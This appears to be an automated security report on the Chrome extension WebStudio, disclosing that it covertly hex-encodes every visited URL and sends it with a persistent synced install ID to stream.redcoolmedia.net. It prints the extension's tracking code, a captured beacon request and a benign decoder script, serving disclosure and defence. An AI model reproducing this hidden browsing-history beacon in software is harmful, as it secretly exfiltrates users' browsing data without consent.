Is HTML editor WebStudio for Webpages safe?

High risk

WebStudio is high risk. Dynamic analysis captured GET requests to stream.redcoolmedia.net on every page load. Each page's address is hex-encoded, sent with a per-install ID, for every site except redcoolmedia.net. The listing, an HTML editor, discloses none of it.…

RedcoolMediav1.4.7Chrome Web Store
75Risk
Who publishes it

RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RedcoolMedia
Registered address
Europe Avenue, S/N, Pozuelo 28224, Spain

Same store account

15 other listings published from this account, 442k+ users between them. 10 of them carry a finding.

OfficeWork90k+HighMovieStudio90k+HighAudioStudio80k+HighPhotoStudio40k+HighPDFOffice40k+HighDocsWork30k+High9 more listings in the relationship graph, on paid plans →

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

stream.redcoolmedia.net
Also called by 4 other listings
redcoolmedia.net
Also called by 8 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension transmits every visited URL to redcoolmedia.net on each navigation

Dynamic analysis captured GET requests to stream.redcoolmedia.net on every page load.

Each page's address is hex-encoded, sent with a per-install ID, for every site except redcoolmedia.net.

The listing, an HTML editor, discloses none of it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any website.

Any tab navigation to an http or https URL triggers this behavior.

The extension did this

The extension sends the full URL and your install ID to stream.redcoolmedia.net.

The URL is hex-encoded as the 'l=' parameter; your per-install random ID is appended as 'u='.

Captured request
GEThttps://stream.redcoolmedia.net/api/webstudiou.php?l=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=kjkc2rufs2

HTTP 200. The 'l=' parameter hex-decodes to the visited URL. The 'u=' parameter is the stable per-install identifier.

Why you can't catch this in DevTools

The page URL is hex-encoded before transmission. The encoding is reversible with a simple hex-to-ASCII decode.

Decoded value
https://www.google.com/
The code that does this

Navigation listener and URL transmission (web.js)

Readable version
function xdii(tabId) {  chrome.tabs.get(tabId, function(tab) {    // Skip redcoolmedia.net itself and non-http URLs;    // also skip if the URL hasn't changed since last check    if (      tab.url.indexOf('redco') === -1 &&      tab.url.indexOf('http') !== -1 &&      lasiee !== tab.url    ) {      exx(tab.url);       // transmit URL to remote server      lasiee = tab.url;   // deduplicate    }  });}async function exx(urly) {  // ... retrieve/generate per-install ID ...  let rtcx = await fetch(    'https://stream.redcoolmedia.net/api/webstudiou.php?l=' +    bin2hex(urly) + '&hex=1&u=' + un  );}
Where browsing data is sent
    • stream.redcoolmedia.net

    Receives hex-encoded visited URLs and per-install tracking ID via webstudiou.php on every navigation. Operated by redcoolmedia.net, the extension developer.

Check if you're affected

Decodes the hex-encoded 'l=' parameter from a captured redcoolmedia.net request to recover the original visited URL.

Requires
  • Node.js 14+
decode-redcool-url.js · js
#!/usr/bin/env node// Usage: node decode-redcool-url.js <hex-string>// Example: node decode-redcool-url.js 68747470733a2f2f7777772e676f6f676c652e636f6d2fconst hex = process.argv[2];if (!hex) {  console.error('Usage: node decode-redcool-url.js <hex-string>');  process.exit(1);}function hex2bin(hex) {  let str = '';  for (let i = 0; i < hex.length; i += 2) {    str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));  }  return str;}const decoded = hex2bin(hex);console.log('Decoded URL:', decoded);
How to run it
  1. 1Capture a request to stream.redcoolmedia.net/api/webstudiou.php (DevTools Network tab or a proxy).
  2. 2Copy the 'l=' query parameter value.
  3. 3Run: node decode-redcool-url.js <l-value>.
  4. 4Output is the transmitted page URL.

Per-install tracking ID persists across devices and browser reinstalls

On first run, the extension generates a 10-char random ID stored in chrome.storage.local and chrome.storage.sync.

Sync ties it to your Google account, following you across devices.

Confirmed in every request to redcoolmedia.net as 'u='.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You install and first run the extension.

Any action that causes web.js or apar.js to run for the first time triggers ID generation.

The extension did this

The extension generates a random 10-character ID and stores it in both your local and synced Chrome storage.

The ID is appended to all outbound requests to redcoolmedia.net as the 'u=' parameter, linking your device to all future browsing beacons.

What's stored on your device

'usernameredcool' in 'redcool_key' is the per-install ID sent with each beacon; the sync copy carries it to other devices on the account.

Location
chrome.storage.local key 'redcool_key' and chrome.storage.sync key 'usernameredcool'
Contents
{  "redcool_key": {    "redcoolonline": "1",    "usernameredcool": "kjkc2rufs2"  },  "usernameredcool": "juwuwdwjv9"}
The code that does this

ID generation and storage (web.js and apar.js)

Readable version

web.js — ID generation and sync storage

web.js:33-39
// On load: check if an ID already exists in sync storageif (chrome.storage.sync.get('usernameredcool', function(obj) {})) {  usernameredcool = chrome.storage.sync.get('usernameredcool', function(obj) {});} else {  // Generate a new 10-char random ID and persist it to Google account sync  usernameredcool = randomString(10).toLowerCase();  chrome.storage.sync.set({ 'usernameredcool': usernameredcool }, function() {});}

exx() — local storage ID and use in navigation beacon

web.js:71-99
// Retrieve or generate the per-install ID from local storageif (redxda.usernameredcool) {  usernameredcool = redxda.usernameredcool;} else {  usernameredcool = randomString(10).toLowerCase();  redxda.usernameredcool = usernameredcool;}// ...// ID sent with every URL beaconlet rtcx = await fetch(  'https://stream.redcoolmedia.net/api/webstudiou.php?l=' +  bin2hex(urly) + '&hex=1&u=' + usernameredcool);
Where the tracking ID is transmitted
    • stream.redcoolmedia.net

    Receives the per-install ID as 'u=' on every webstudiou.php navigation beacon and on every webstudiob.php popup load. Operated by the extension developer.

What it can do

Permissions this extension asks for, as declared in version 1.4.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026hchpnbmmbepldbfdgbjfigifhobbjcel